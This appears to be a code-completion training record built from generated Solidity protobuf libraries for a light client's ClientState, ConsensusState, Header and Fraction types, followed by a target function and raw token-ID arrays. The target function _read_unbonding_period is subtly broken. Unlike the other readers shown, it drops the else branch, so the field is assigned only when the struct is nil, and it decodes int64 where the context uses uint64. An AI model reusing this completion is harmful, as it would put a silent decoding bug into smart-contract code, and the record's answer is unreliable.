i++) { e += 1 + ProtoBufRuntime._sz_lendelim(ProofSpec._estimate(r.proof_specs[i])); } e += 1 + ProtoBufRuntime._sz_lendelim(MerklePrefix._estimate(r.merkle_prefix)); e += 1 + ProtoBufRuntime._sz_uint64(r.time_delay); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (bytes(r.chain_id).length != 0) { return false; } if (r.trusting_period != 0) { return false; } if (r.unbonding_period != 0) { return false; } if (r.max_clock_drift != 0) { return false; } if (r.proof_specs.length != 0) { return false; } if (r.time_delay != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.chain_id = input.chain_id; Fraction.store(input.trust_level, output.trust_level); output.trusting_period = input.trusting_period; output.unbonding_period = input.unbonding_period; output.max_clock_drift = input.max_clock_drift; Height.store(input.latest_height, output.latest_height); for(uint256 i7 = 0; i7 < input.proof_specs.length; i7++) { output.proof_specs.push(input.proof_specs[i7]); } MerklePrefix.store(input.merkle_prefix, output.merkle_prefix); output.time_delay = input.time_delay; } //array helpers for ProofSpecs /** * @dev Add value to an array * @param self The in-memory struct * @param value The value to add */ function addProofSpecs(Data memory self, ProofSpec.Data memory value) internal pure { /** * First resize the array. Then add the new element to the end. */ ProofSpec.Data[] memory tmp = new ProofSpec.Data[](self.proof_specs.length + 1); for (uint256 i = 0; i < self.proof_specs.length; i++) { tmp[i] = self.proof_specs[i]; } tmp[self.proof_specs.length] = value; self.proof_specs = tmp; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library ClientState library ConsensusState { //struct definition struct Data { Timestamp.Data timestamp; bytes root; bytes next_validators_hash; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[4] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_timestamp(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_root(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_next_validators_hash(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_timestamp( uint256 p, bytes memory bs, Data memory r, uint[4] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.timestamp = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_root( uint256 p, bytes memory bs, Data memory r, uint[4] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.root = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_next_validators_hash( uint256 p, bytes memory bs, Data memory r, uint[4] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.next_validators_hash = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Timestamp(uint256 p, bytes memory bs) internal pure returns (Timestamp.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Timestamp._encode_nested(r.timestamp, pointer, bs); if (r.root.length != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.root, pointer, bs); } if (r.next_validators_hash.length != 0) { pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_bytes(r.next_validators_hash, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp)); e += 1 + ProtoBufRuntime._sz_lendelim(r.root.length); e += 1 + ProtoBufRuntime._sz_lendelim(r.next_validators_hash.length); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.root.length != 0) { return false; } if (r.next_validators_hash.length != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { Timestamp.store(input.timestamp, output.timestamp); output.root = input.root; output.next_validators_hash = input.next_validators_hash; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library ConsensusState library Header { //struct definition struct Data { SignedHeader.Data signed_header; ValidatorSet.Data validator_set; Height.Data trusted_height; ValidatorSet.Data trusted_validators; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[5] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_signed_header(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_validator_set(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_trusted_height(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_trusted_validators(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_signed_header( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (SignedHeader.Data memory x, uint256 sz) = _decode_SignedHeader(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.signed_header = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_validator_set( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (ValidatorSet.Data memory x, uint256 sz) = _decode_ValidatorSet(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.validator_set = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_trusted_height( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (Height.Data memory x, uint256 sz) = _decode_Height(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.trusted_height = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_trusted_validators( uint256 p, bytes memory bs, Data memory r, uint[5] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (ValidatorSet.Data memory x, uint256 sz) = _decode_ValidatorSet(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.trusted_validators = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_SignedHeader(uint256 p, bytes memory bs) internal pure returns (SignedHeader.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (SignedHeader.Data memory r, ) = SignedHeader._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_ValidatorSet(uint256 p, bytes memory bs) internal pure returns (ValidatorSet.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (ValidatorSet.Data memory r, ) = ValidatorSet._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_Height(uint256 p, bytes memory bs) internal pure returns (Height.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (Height.Data memory r, ) = Height._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += SignedHeader._encode_nested(r.signed_header, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ValidatorSet._encode_nested(r.validator_set, pointer, bs); pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += Height._encode_nested(r.trusted_height, pointer, bs); pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ValidatorSet._encode_nested(r.trusted_validators, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(SignedHeader._estimate(r.signed_header)); e += 1 + ProtoBufRuntime._sz_lendelim(ValidatorSet._estimate(r.validator_set)); e += 1 + ProtoBufRuntime._sz_lendelim(Height._estimate(r.trusted_height)); e += 1 + ProtoBufRuntime._sz_lendelim(ValidatorSet._estimate(r.trusted_validators)); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { SignedHeader.store(input.signed_header, output.signed_header); ValidatorSet.store(input.validator_set, output.validator_set); Height.store(input.trusted_height, output.trusted_height); ValidatorSet.store(input.trusted_validators, output.trusted_validators); } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Header library Fraction { //struct definition struct Data { uint64 numerator; uint64 denominator; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_numerator(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_denominator(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_numerator( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.numerator = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_denominator( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.denominator = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; if (r.numerator != 0) { pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.numerator, pointer, bs); } if (r.denominator != 0) { pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.Varint, pointer, bs ); pointer += ProtoBufRuntime._encode_uint64(r.denominator, pointer, bs); } return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_uint64(r.numerator); e += 1 + ProtoBufRuntime._sz_uint64(r.denominator); return e; } // empty checker function _empty( Data memory r ) internal pure returns (bool) { if (r.numerator != 0) { return false; } if (r.denominator != 0) { return false; } return true; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.numerator = input.numerator; output.denominator = input.denominator; } //utility functions /** * @dev Return an empty struct * @return r The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return r True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library Fraction
* @dev The decoder for reading a field @param p The offset of bytes array to start decode @param bs The bytes array to be decoded @param r The in-memory struct @param counters The counters for repeated fields @return The number of bytes decoded/* if `r` is NULL, then only counting the number of fields./
function _read_unbonding_period( uint256 p, bytes memory bs, Data memory r, uint[10] memory counters ) internal pure returns (uint) { (int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs); if (isNil(r)) { counters[4] += 1; r.unbonding_period = x; if (counters[4] > 0) counters[4] -= 1; } return sz; }
5,547,551
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 1021, 8320, 364, 6453, 279, 652, 632, 891, 293, 1021, 1384, 434, 1731, 526, 358, 787, 2495, 632, 891, 7081, 1021, 1731, 526, 358, 506, 6383, 632, 891, 436, 1021, 316, 17, 7858, 1958, 632, 891, 13199, 1021, 13199, 364, 12533, 1466, 632, 2463, 1021, 1300, 434, 1731, 6383, 20308, 309, 1375, 86, 68, 353, 3206, 16, 1508, 1338, 22075, 326, 1300, 434, 1466, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 896, 67, 318, 26425, 310, 67, 6908, 12, 203, 565, 2254, 5034, 293, 16, 203, 565, 1731, 3778, 7081, 16, 203, 565, 1910, 3778, 436, 16, 203, 565, 2254, 63, 2163, 65, 3778, 13199, 203, 225, 262, 2713, 16618, 1135, 261, 11890, 13, 288, 203, 565, 261, 474, 1105, 619, 16, 2254, 5034, 11262, 13, 273, 7440, 5503, 5576, 6315, 3922, 67, 474, 1105, 12, 84, 16, 7081, 1769, 203, 565, 309, 261, 291, 12616, 12, 86, 3719, 288, 203, 1377, 13199, 63, 24, 65, 1011, 404, 31, 203, 1377, 436, 18, 318, 26425, 310, 67, 6908, 273, 619, 31, 203, 1377, 309, 261, 23426, 63, 24, 65, 405, 374, 13, 13199, 63, 24, 65, 3947, 404, 31, 203, 565, 289, 203, 565, 327, 11262, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 